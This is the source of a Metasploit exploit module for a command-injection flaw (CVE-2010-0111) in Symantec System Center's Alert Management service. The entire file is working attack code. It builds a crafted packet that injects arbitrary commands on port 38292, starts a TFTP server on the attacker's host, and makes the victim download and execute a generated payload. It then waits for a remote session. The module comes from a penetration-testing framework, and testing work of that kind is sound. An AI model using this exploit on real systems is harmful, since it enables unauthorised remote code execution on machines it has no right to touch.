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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::EXE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
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        'Description' => %q{
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          Symantec System Center Alert Management System is prone to a
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          remote command-injection vulnerability because the application fails
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          to properly sanitize user-supplied input.  This is part of Symantec
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          AntiVirus Corporate Edition 8.0 - 10.1.7.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['OSVDB', '66807'],
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          ['BID', '41959'],
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          ['CVE', '2010-0111'],
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          ['URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt'],
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        ],
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        'Targets' => [
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          [
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            'Windows Universal',
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            {
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              'Arch' => ARCH_X86,
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              'Platform' => 'win'
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            }
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          ]
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        ],
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        'Privileged' => true,
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        'Platform' => 'win',
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2010-07-26',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(38292),
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      OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
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      OptAddress.new('LHOST', [ false, 'The listen IP address from where the victim downloads the payload' ])
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    ])
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  end
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  def windows_stager
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    @pl = generate_payload_exe
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    @tftp = Rex::Proto::TFTP::Server.new
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    payload_name = "#{Rex::Text.rand_text_alpha_upper(11)}.exe"
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    @tftp.register_file(payload_name, @pl, true)
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    @tftp.start
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    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
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    execute_command("tftp -i #{datastore['lhost']} GET #{payload_name}")
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    print_status("Attempting to execute the payload...")
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    execute_command(payload_name)
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  end
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  def execute_command(cmd, opts = {})
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    connect
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    if (cmd.length > 128)
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      fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!")
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    end
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    string_uno = Rex::Text.rand_text_alpha_upper(11)
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    string_dos = Rex::Text.rand_text_alpha_upper(rand(4) + 5)
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    packet = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
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    packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
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    packet << "\xe8\x03\x00\x00"
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    packet << 'PRGXCNFG'
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    packet << "\x10\x00\x00\x00"
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    packet << "\x00\x00\x00\x00\x04"
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    packet << 'ALHD\F'
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    packet << "\x00\x00\x01\x00\x00"
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    packet << "\x00\x01\x00\x0e\x00"
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    packet << 'Risk Repaired'
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    packet << "\x00\x25\x00"
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    packet << 'Symantec Antivirus Corporate Edition'
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    packet << "\x00\xf9\x1d\x13\x4a\x3f"
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    packet << [string_uno.length + 1].pack('v') + string_uno
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    packet << "\x00\x08\x08\x0a"
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    packet << "\x00" + 'Risk Name'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x08\x0a\x00"
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    packet << 'File Path'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x08\x11\x00"
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    packet << 'Requested Action'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x08\x0e\x00"
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    packet << 'Actual Action'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x08\x07\x00"
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    packet << 'Logger'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x08\x05\x00"
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    packet << 'User'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x08\x09\x00"
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    packet << 'Hostname'
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    packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
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    packet << "\x00\x08\x13\x00"
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    packet << 'Corrective Actions'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00\x00\x07\x08\x12\x00"
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    packet << 'ConfigurationName'
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    packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
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    packet << "\x00" + cmd
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    packet << "\x00\x08\x0c\x00"
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    packet << 'CommandLine'
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    packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
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    packet << "\x00" + cmd
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    packet << "\x00\x08\x08\x00"
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    packet << 'RunArgs'
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    packet << "\x00\x04\x00\x02\x00"
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    packet << "\x20\x00\x03\x05\x00"
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    packet << 'Mode'
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    packet << "\x00\x04\x00\x02\x00\x00\x00"
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    packet << "\x0a\x0d\x00"
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    packet << 'FormatString'
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    packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
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    packet << 'ConfigurationName'
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    packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
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    packet << 'HandlerHost'
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    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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    packet << "\x00" + string_dos
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    packet << "\x00" * packet.length
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    sock.put(packet)
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    select(nil, nil, nil, 3)
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    disconnect
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  end
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  def exploit
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    unless datastore['CMD'].blank?
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      print_status("Executing command '#{datastore['CMD']}'")
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      execute_command(datastore['CMD'])
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      return
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    end
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    case target['Platform']
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    when 'win'
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      if datastore['LHOST'].blank?
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        fail_with(Failure::Unknown, 'If no custom CMD is set, LHOST is required.')
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      end
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      windows_stager
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    else
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      fail_with(Failure::Unknown, 'Target not supported.')
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    end
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    handler
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  end
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end
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